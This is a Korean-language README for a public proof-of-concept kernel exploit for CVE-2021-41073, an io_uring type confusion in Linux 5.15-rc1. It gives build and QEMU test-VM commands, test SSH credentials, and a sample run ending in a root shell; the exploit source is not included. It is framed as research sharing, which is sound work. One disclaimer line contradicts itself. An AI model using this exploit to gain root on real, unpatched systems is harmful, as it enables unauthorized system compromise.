
로컬 권한 상승 익스플로잇으로, Linux 커널의 io_uring 타입 혼동(type confusion) 취약점인 CVE-2021-41073을 악용하여 기본 구성에서 루트 권한을 획득합니다.
CVE-2021-41073 io_uring 타입 혼동 취약점에 대한 LPE 익스플로잇입니다.
라이팅(writeup)은 Put an io_uring on it: Exploiting the Linux Kernel에서 확인하세요.
작성자: @chompie1337
교육/연구 목적으로만 사용하세요. 테스트나 보안 평가에는 사용하지 마세요.
빌드 방법 (liburing 필요):
gcc -o hello hello.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`
gcc -I include/ -o exploit exploit.c bpf.c -l:liburing.a -lpthread
익스플로잇 테스트/실행을 위해 5.15-rc1 커널이 포함된 테스트 VM을 제공했습니다.
VM을 시작하려면 test_vm 아카이브를 압축 해제하고 다음을 실행하세요:
qemu-system-x86_64 -m 2G -smp 2 -kernel /path/to/repo/Linux_LPE_io_uring_CVE-2021-41073/test_vm/bzImage -append "console=ttyS0 root=/dev/sda earlyprintk=serial net.ifnames=0" -drive file=/path/to/repo/Linux_LPE_io_uring_CVE-2021-41073/test_vm/stretch.img,format=raw -net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22 -net nic,model=e1000 -nographic -pidfile vm.pid 2>&1 | tee vm.log
비특권 사용자로 박스에 ssh 접속:
ssh -p 10021 hi@localhost
비밀번호: lol
실행 방법:
$ ./exploit
[+] set/getxattr file created
[+] bpf program loaded created
[+] FUSE maps created
[+] opened /proc/self/maps
[+] io_uring initialized
[+] spraying kmalloc-32 cache with io_buffer structs!!
[!] vuln trigger #1 for task_struct leak
[+] task_struct: ffff90740554c4c0
[!] vuln trigger #2 for KASLR leak
[!] single_next: ffffffffb2064520
[!] vuln trigger #3 for cache ptr leak
[+] fake bpf_prog: ffff9074056aacb0
[!] vuln trigger #4 to overwrite socket filter
[+] it worked! have a r00t shell :)
때로는 전체 익스플로잇 시퀀스를 완료하는 데 3~4회의 시도가 필요합니다. 각 익스플로잇 시도 후 VM을 재부팅하세요. 이 익스플로잇을 개선하기 위한 향후 작업이 가능하며, 기법은 라이팅(writeup)에 제공되어 있습니다. 이 PoC는 다른 연구자들과 고급 커널 익스플로잇에 대해 배우고자 하는 사람들에게 지식을 공유할 목적으로만 공개합니다.
이 익스플로잇은 블로그 게시물에서 논의된 기법에 대한 **개념 증명(PROOF OF CONCEPT)**이며, 기본 구성의 Linux Kernel 5.15-rc-1에서 로컬 권한 상승을 달성합니다. 모든 영향을 받는 Linux 버전에서 작동하도록 익스플로잇을 맞춤화하거나 무기화할 의도는 없습니다. 논의된 대부분의 기법을 시연하기 위해 코드를 제공했으며, 일부 배포판에서 활성화할 수 있는 다양한 완화 조치를 우회하는 데 필요한 기법을 첨부된 블로그 게시물에 작성하고 문서화했습니다.
제공된 테스트 VM에 사용된 커널 구성은 test_vm 폴더에 있으므로, 맞춤 빌드 커널로 작업하려면 참조하세요. 기여하고 싶다면 풀 리퀘스트를 환영합니다 :)
이 연구는 Grapl의 후원을 받았습니다.